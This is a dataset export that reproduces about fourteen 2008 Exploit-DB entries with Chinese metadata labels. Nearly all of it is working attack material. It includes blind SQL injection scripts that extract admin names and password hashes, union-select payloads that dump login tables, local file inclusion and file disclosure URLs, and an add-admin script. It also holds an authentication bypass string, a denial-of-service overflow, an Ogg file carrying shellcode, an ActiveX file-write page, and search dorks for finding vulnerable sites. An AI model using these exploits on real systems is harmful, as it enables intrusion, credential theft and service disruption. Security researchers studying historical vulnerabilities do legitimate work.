QLWD/code_shield huggingface dataset:
标题: Mumbo Jumbo Media OP4 - Blind SQL Injection EDB-ID: 5440 CVE: 2008-6477 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-13 漏洞利用脚本: <?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#   Mumbo Jumbo Media - OP4 - Blind SQL Injection Exploit     
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Exploit coded by:            Lidloses_Auge
#      Greetz to:                   Free-Hack, GPM
#      Date:                        13.04.2008
#
###############################################################
#                                                             
#      Dork:  "mumbo jumbo media" + inurl:"index.php"
#      Usage: php '.$argv[0].' [Target] [Page ID] [Admin ID]
#      Example for "http://www.site.com/cms/index.php?id=300"
#      => php '.$argv[0].' http://www.site.com/cms/ 300 1
#                                                             
###############################################################
');
if ($argc > 1) {
print_r('
');
   echo 'Searching for Admin: ';
   for($i=1; $i <= 50; $i++) { 
      $temp1 = file_get_contents($argv[1].'index.php?id='.$argv[2].'+and+length((select+kennung+from+op4_admin+where+id='.$argv[3].'))='.$i.'--');
      if (strpos($temp1,'Die angeforderte Seite existiert nicht') == 0) {
         $adlen = $i;
         $i = 50;
      }
   }
   for($i=1; $i <= $adlen; $i++) {
      for($zahl=48; $zahl <= 122; $zahl++) {
         $temp = file_get_contents($argv[1].'index.php?id='.$argv[2].'+and+ascii(substring((select+kennung+from+op4_admin+where+id='.$argv[3].'),'.$i.',1))='.$zahl.'--');
         if (strpos($temp,'Die angeforderte Seite existiert nicht') == 0) {
            echo chr($zahl);
            $zahl = 122;
         }
         if ($zahl == 57) {
            $zahl = 96;
         }
      }
   }
print_r('
');
   echo 'Searching for Hash:  ';
   for($i=1; $i <= 32; $i++) { 
      for($zahl=48; $zahl <= 102; $zahl++) {
         if ($check = 0) {
            $temp2 = file_get_contents($argv[1].'index.php?id='.$argv[2].'+and+ascii(substring((select+passwort+from+op4_admin+where+id='.$argv[3].'),'.$i.',1))<97--');
            if (strpos($temp2,'Die angeforderte Seite existiert nicht') == 0) {
               $zahl = 97;
               $check = 1;
            }
         }
         $temp = file_get_contents($argv[1].'index.php?id='.$argv[2].'+and+ascii(substring((select+passwort+from+op4_admin+where+id='.$argv[3].'),'.$i.',1))='.$zahl.'--');
         if (strpos($temp,'Die angeforderte Seite existiert nicht') == 0) {
            echo chr($zahl);
            $zahl = 102;
         }
         if ($zahl == 57) {
            $zahl = 97;
         }
      }
      $check = 0;
   }
}
?>

# milw0rm.com [2008-04-13] URL: https://www.exploit-db.com/exploits/5440
标题: RX Maxsoft - 'fotoID' SQL Injection EDB-ID: 5426 CVE: 2008-4912 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-10 漏洞利用脚本: ##########################################
#
# ProvozovÃ¡no na RS MAXSOFT SQL-Injection


#
# PAGE:http://redakcni-system.maxsoft.cz/
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : "RS MAXSOFT"
#
# DORK 2 : "ProvozovÃ¡no na RS MAXSOFT"
#
###########################################
you will see adminname and password on title

EXPLOiT:

modules/fotogalerie/popup_img.php?fotoID=-1+union+select+concat(login,0x3a,pass)+from+admin


ADMiN LOGiN=admin.php?page=logfrm


###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-10] URL: https://www.exploit-db.com/exploits/5426
标题: Borland Interbase 2007 - 'ibserver.exe' Buffer Overflow (PoC) EDB-ID: 5427 CVE: 2008-1910 类型: DOS 平台: WINDOWS 发布日期: 2008-04-11 漏洞利用脚本: ###############################################################################################################
#                                 POC.pl                                                                   #
###############################################################################################################
#!/usr/bin/perl -w
#Author:  Liu Zhen Hua <alau [at] 163.com>

use IO::Socket;
use strict;
my $host=$ARGV[0];
sub usage {
print "usage: perl poc.pl serverip\n";
}
if ($#ARGV < 0) {
usage();
exit();
}
my $victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$host,
                                PeerPort=>3050);
my $pad0 = "\x41"x1000;       #"\x00\x00\x03\xE8"
my $pad5 = "\x43"x16;
my $exploit = "\x00\x00\x00\x52\xFF\xFF\xFF\xFF\x00\x00\x03\xE8".$pad0."\x00\x00\x00\x10".$pad5;
print $victim $exploit ;
print " + Malicious  request sent ...\n";
sleep(1);
print "Done.\n";
close($victim);
exit;

# milw0rm.com [2008-04-11] URL: https://www.exploit-db.com/exploits/5427
标题: PHPKB Knowledge Base Software 1.5 - 'ID' SQL Injection EDB-ID: 5428 CVE: 2008-1909 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-11 漏洞利用脚本: PHPKB Knowledge Base Software (comment.php) Sql Injection Vulnerability
-------------------------------------------------------------------------------------------------
# Author  : parad0x
# Home   : www.inso.host.sk
# Script  : PHPKB Knowledge Base Software 
# Script Homepage : http://www.knowledgebase-script.com
 -------------------------------------------------------------------------------------------------
http://[target]/comment.php?ID=[SQL]

-------------------------------------------------------------------------------------------------
Example:

http://www.xxx.org/comment.php?ID=-67+union+select+concat(user(),char(32),database(),char(32),@@version_compile_os)/*
-------------------------------------------------------------------------------------------------
greetz : VoLqaN
-------------------------------------------------------------------------------------------------

# milw0rm.com [2008-04-11] URL: https://www.exploit-db.com/exploits/5428
标题: Ksemail - Local File Inclusion EDB-ID: 5423 CVE: 2008-1751 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-10 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discoverd by dun \ dun[at]strcpy.eu ]

 #####################################################
 #  [  Ksemail  ]  Local File Include Vulnerability  #
 #####################################################
 #
 # Script site:  http://www.ksemail.com/, http://mail.ksemail.com
 # 
 # Vuln: 
 # http://site.com/prog/index.php?language=../../../../../../etc/passwd 
 # http://site.com/prog/index.php?lang=../../../../../../etc/passwd
 # 
 # Dork example: "FoxMail/Outook"
 #
 ###############################################
 # Greetz: D3m0n_DE, nejman, sid_psycho
 # and all otherz.. [;
 ###############################################

 [ dun / 2008 ] 

********************************************************************************************

# milw0rm.com [2008-04-10] URL: https://www.exploit-db.com/exploits/5423
标题: KnowledgeQuest 2.5 - Arbitrary Add Admin EDB-ID: 5418 CVE: 2008-1727 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-09 漏洞利用脚本: #!/usr/bin/perl

use strict;
use LWP::UserAgent;

print "-+------------------------------------------+-\n";
print "-+- KnowledgeQuest 2.5 Arbitrary Add Admin -+-\n";
print "-+------------------------------------------+-\n";
print "-+-     Discovered && Coded By t0pP8uzz    -+-\n";
print "-+-  This Exploit will craft a evilpacket  -+-\n";
print "-+-     which will add a admin account     -+-\n";
print "-+------------------------------------------+-\n";

print "Enter URL: ";
 chomp(my $url=<STDIN>);
 
print "Enter Username (you will login with this): ";
 chomp(my $usr=<STDIN>);

print "Enter Password (you will login with this): ";
 chomp(my $pwd=<STDIN>);

my $ua  = LWP::UserAgent->new( agent=> 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)' );
my $res = $ua->post( $url."/admincheck.php", {'username' => $usr, 'password' => $pwd, 'repas' => $pwd} );

if($res->is_success) {

 if($res->content =~ /taken by another user/i) { print "\n\nExploit Failed! Reason: username already taken!"; exit; }
 
 print "\n\nExploit Success! Login to ".$url."administratorlogin.php with username: ".$usr." and password: ".$pwd."\n";
}

# milw0rm.com [2008-04-09] URL: https://www.exploit-db.com/exploits/5418
标题: Dream4 Koobi Pro 6.25 Showimages - 'galid' SQL Injection EDB-ID: 5414 CVE: 2008-4778 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-08 漏洞利用脚本: #########################################
#
# Koobi Pro V6.25 showimages (galid)
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?area"galid
#
###########################################
EXPLOiT :

index.php?area=1&p=gallery&action=showimages&galid=-1+union+select+0,concat(email,0x3a,pass),2+from+kpro_user

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-08] URL: https://www.exploit-db.com/exploits/5414
标题: Phaos R4000 Version - 'file' Remote File Disclosure EDB-ID: 5420 CVE: 2008-1755 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-09 漏洞利用脚本: ####################################################################################
                                          }}} Remote File Disclosure Vulnerability {{{
 
                                                  in (showSource.php)  phaos4.0.1
 
       MY HOmE :  WWW.PAL-HACkEr.COM                                        WWW.ATSDP.COM
####################################################################################
## AUTHOR :  HaCkeR_EgY
## My HoMe :  www.PaL-HaCker.com  &   www.ATSDP.com
## ConTacT :  hacker_egy@hotmail.com
-----------------------------------------------
## script: phaos4.0.1
##download:http://sourceforge.net/project/showfiles.php?group_id=111506
###################################################################
### vurn C0dE :
 
## line 16: 
 
 showSource($file, $line, $prev, $next);  <=====
function showSource($file, $line, $prev = 10, $next = 10) {
   
    if (!(file_exists($file) && is_file($file))) {
        return trigger_error("showSource() failed, file does not exist `$file`", E_USER_ERROR);
        return false;
    }
   
    //read code
## line 35 :   ob_start();
    highlight_file($file); <<========
    $data = ob_get_contents();
    ob_end_clean();

## P0C:
            http://localhost/[path]/erorr/showSource.php?file=config_settings.php

#################################################################################
 
## GREETZ TO :   My BrOther and My MasTer   " Abo Mohamed "   ADMIN PAL-HACKER
 
##  Thanx     : F0UaD Pr0gRaMeR  , FiReSell  , MoHamed EL Arab  ,  Mr.exe  ,  zaradusht  , and all " pal-hacker members "
 
#####################################################################################

# milw0rm.com [2008-04-09] URL: https://www.exploit-db.com/exploits/5420
标题: LightNEasy 1.2 - no database Remote Hash Retrieve EDB-ID: 5425 CVE: 2008-6537 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-10 漏洞利用脚本: # Author: __GiReX__
# mySite: girex.altervista.org
# Date:  10/04/08

# CMS:   LightNEasy 1.2 no database
# Site:  lightneasy.org

# Bug:  Hash Disclosure
# Exploit: Remote Hash Retrieve


# Bug Explanation: LightNEasy/lightneasy.php

  if($_GET['do']!="login" && $_GET['do']!="sitemap" && $_SESSION[$set['password']] != "1") unset($_GET['do']);
  if($_POST['submit']!=$langmessage[120] && $_POST['submit']!=$langmessage[33] && $_SESSION[$set['password']] != "1")
 unset($_POST['submit']);

# $_GET['do'] is unset if we aren't admin or isn't login or sitemap

  function content() {
  ...
  switch($_REQUEST['do']) {
  ...
  case "setup": {
  ...
  <input type=\"hidden\" name=\"oldpassword\" value=\"".$set['password']."\" />

# content() diplays the HTML of the section passed with $_REQUEST['do']
# unset $_GET['do'] is not important if you switch the $_REQUEST one
# you can only see the admin's hash in hidden input and not edit it becouse $_POST['submit'] is unset


#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]\n";
     print "[-] Example: perl $0 localhost /lightneasy/\n\n";
     exit;
}
my $client = new LWP::UserAgent or exit;

my $target  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $target .=  $ARGV[1] unless not defined $ARGV[1];

banner();
my $response = $client->get($target . 'LightNEasy.php?do=setup');

if($response->is_success)
{
     if($response->as_string =~ /([a-f0-9]{40})/)
     {
   print "[+] Admin's SHA1 Hash: $1 \n";
   print "[+] Exploit Successfull\n";
     }
     else 
     {
   print "[-] Unable to retrieve admin's hash\n";
   print "[-] Exploit Failed\n";
     }
}
else
{
     print "[-] Unable to request ${target}LightNEasy.php?do=setup\n";
     print "[-] Exploit Failed\n";
}


sub banner
{
     print "[+] LightNEasy 1.2 no database Password Retrieve Exploit\n";
     print "[+] Coded by __GiReX__\n";
     print "\n";
}

# milw0rm.com [2008-04-10] URL: https://www.exploit-db.com/exploits/5425
标题: Free Photo Gallery Site Script - 'path' File Disclosure EDB-ID: 5419 CVE: 2008-1730 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-09 漏洞利用脚本: -------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er ]        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : gallery-script-lite
# Bug   : Remote  Local File Inclusion Vulnerability
# Download  : http://www.arwscripts.com/gallery-script-lite.html
# Dork  : developed by ARWScripts.com
# file  : download.html
# Error  :

=========================JIkI Team===================
# Exploit  :
 
  http://[site]/[script]/download.html?path=
#ex   :
 download.html?path=config.inc.php
http://www.xxx.com/demos/galleryscriptlite/download.html?path=config.inc.php
===========
 greetz : all my friend and H-T Team and all No-back members and tryag.Com
 visit: www.no-back.org & www.tryag.com 
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------

# milw0rm.com [2008-04-09] URL: https://www.exploit-db.com/exploits/5419
标题: AlsaPlayer < 0.99.80-rc3 - Vorbis Input Local Buffer Overflow EDB-ID: 5424 CVE: 2007-5301 类型: LOCAL 平台: LINUX 发布日期: 2008-04-10 漏洞利用脚本: I have released this exploit for the alsaplayer bug CVE-2007-5301.

You can find all the needed files at http://www.wekk.net/research/CVE-2007-5301/

With my modified version of vorbiscomment, you can generate a ogg exploit like this:

whats@debian:~$ vorbiscomment.whats -w -t "TITLE=$(perl -e 'print "AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBXXXXX\x77\xe7
\xff\xff\x08\x08\x08\x08\x29\xc9\x83\xe9\xf4\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e
\x46\x90\xbe\x13\x83\xee\xfc\xe2\xf4\x2c\x9b\xe6\x8a\x14\xf6\xd6\x3e\x25\x19\x59\x7b
\x69\xe3\xd6\x13\x2e\xbf\xdc\x7a\x28\x19\x5d\x41\xae\x9c\xbe\x13\x46\xbf\xcb\x60\x34
\xbf\xdc\x7a\x28\xbf\xd7\x77\x46\xc7\xed\x9a\xa7\x5d\x3e\x13"')" /usr/share/games/pydance/sound/back.ogg exploit.ogg 

Then, if you plays the file with the vulnerable version:

whats@debian:~$ alsaplayer exploit.ogg
uid=1000(whats) gid=1000(whats) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(whats)

This was tested with the debian etch packages.

- whats

# milw0rm.com [2008-04-10] URL: https://www.exploit-db.com/exploits/5424
标题: LiveCart 1.1.1 - 'id' Blind SQL Injection EDB-ID: 5422 CVE: 2008-1750 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-10 漏洞利用脚本: #!/usr/bin/perl -w
use LWP::UserAgent;
#-----------------------------------------------------------------------------------------------#
# scripts       : livecart Remote Blind Sql Injection      #
# scripts site  : http://www.livecart.com       #
#            #
# Discovered           #
# By   : irvian         #
# site  : http://irvian.cn        #
# forum  : http://noscan.info/forum       #
# email  : irvian.info@gmail.com        #
#            #
# Thanks To           #
# friend : str0ke, nyubi, ibnusina, arioo, jipank, ifx, karet, bluespy and all my friend #
#-----------------------------------------------------------------------------------------------#
# sample  :           #
# http://demo.livecart.com         #
#-----------------------------------------------------------------------------------------------#
print "\r\n[+]----------------------[+]\r\n";
print "[+]Blind SQL injection  [+]\r\n";
print "[+]Livecart              [+]\r\n";
print "[+]code by irvian  [+]\r\n";
print "[+]irvian[dot]cn   [+]\r\n";
print "[+]----------------------[+]\n\r";
if (@ARGV < 3){
die "
Cara Mengunakan : perl $0 host option userid

Keterangan
host : http://victim.com atau victim.com
Option : pilih 1 untuk mencari email dan pilih 2 untuk mencari password
userid : Limit
Contoh : perl $0 http://victim.com 1 1
\n";}


$url = $ARGV[0];
$option = $ARGV[1];
$id = $ARGV[2];

if ($option eq 1){
syswrite(STDOUT, "email: ", 7);}
elsif ($option eq 2){
syswrite(STDOUT, "password: ", 10);}

for($i = 1; $i <= 32; $i++){
 $f = 0;
 $n = 32;
 while(!$f && $n <= 57)
 {
  if(&blind($url, $option, $id, $i, $n, $id)){
  $f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}
if ($f==0){
$n = 97;
 while(!$f && $n <= 122)
 {
  if(&blind($url, $option, $id, $i, $n, $id)){
  $f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}
}
}

print "\n[+]finish Execution Exploit\n";



sub blind {
my $site = $_[0];
my $op = $_[1];
my $id = $_[2];
my $i = $_[3];
my $n = $_[4];
my $r = $_[5];
if ($op eq 1){$klm = "email";}
elsif ($op eq 2){$klm = "password";}
$site =~ s/^http:\/\///;
my $url = "http://"."$site"."/category?id=1"."%20AND%20SUBSTRING((SELECT%20"."$klm"."%20FROM%20"."User"."%20LIMIT%20"."$r".",1"."),"."$i".",1)=CHAR("."$n".")";
my $browser = &zero($url);

if ($browser !~ /Error Code 500/gi){
 return 1;
}
else {
return 0;
}
}

sub zero($){
my $spy = $_[0];
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $res =  $ua->get($spy);
my @r = $res->content;
$page="@r";
return $page;}

# milw0rm.com [2008-04-10] URL: https://www.exploit-db.com/exploits/5422
标题: KnowledgeQuest 2.6 - SQL Injection EDB-ID: 5421 CVE: 2008-1726 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-09 漏洞利用脚本: ########################################################################
             #                                                                      #
             #    ...:::::KnowledgeQuest 2.6 SQL Injection Vulnerabilities ::::.... #           
             ########################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-------
vuln code in articletext.php:
line 13: $kqid = $HTTP_GET_VARS["kqid"];
......
line 17: $result = mysql_query("select DATE_FORMAT(postdate,'%m-%d-%y') as  postdate, DATE_FORMAT(reveiwdate,'%m-%d-%y') as reveiwdate, categoryid,title,text, attach, kqid, authorid from knowledgebase where kqid=" .$kqid.mysql_error());
###########
vuln code in articletextonly.php:
line 13: $kqid = $HTTP_GET_VARS["kqid"];
......
line 17:$result = mysql_query("select * from knowledgebase where kqid=" .$kqid.mysql_error());
--------
Exploits:
http://www.site.com/[patch]/articletextonly.php?kqid=-9999/**/union/**/select/**/1,2,3,loginid,password,6,7,8,9,10,11/**/from/**/login/*
http://www.site.com/[patch]/articletext.php?kqid=-999/**/union/**/select/**/1,2,3,loginid,password,6,7,8/**/from/**/login/*
--------------------------------
                                .::::admin Authentication bypass vuln::::.
vuln code in logincheck.php:
if(!empty($_POST['username']))
    {
        $username = $_POST['username'];
    }

    if(!empty($_POST['password']))
    {
        $password = $_POST['password'];
    }
...
...
...
$sql = "select * from login where loginid='". $username ."' and password='". $password . "'";
-----
Exploit:
User Name:admin ' or 1=1/*
Password :[whatever]
//you must login in administratorlogin.php ;)
--------------
young iranian h4ck3rz

# milw0rm.com [2008-04-09] URL: https://www.exploit-db.com/exploits/5421
标题: IBiz E-Banking Integrator 2.0 - ActiveX Edition Insecure Method EDB-ID: 5416 CVE: 2008-1725 类型: REMOTE 平台: WINDOWS 发布日期: 2008-04-09 漏洞利用脚本: --------------------------------------------------------------------
 IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 More info at http://shinnai.altervista.org
--------------------------------------------------------------------
<object classid='clsid:24445430-F789-11CE-86F8-0020AFD8C6DB' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe()
  On Error Resume Next
   test.WriteOFXDataFile "C:\WINDOWS\system_.ini"
   If Err.Number <> 0 Then
    MsgBox "Something went wrong!"
   Else
    MsgBox "Exploit Completed!"
   End If
 End Sub
</script>

# milw0rm.com [2008-04-09] URL: https://www.exploit-db.com/exploits/5416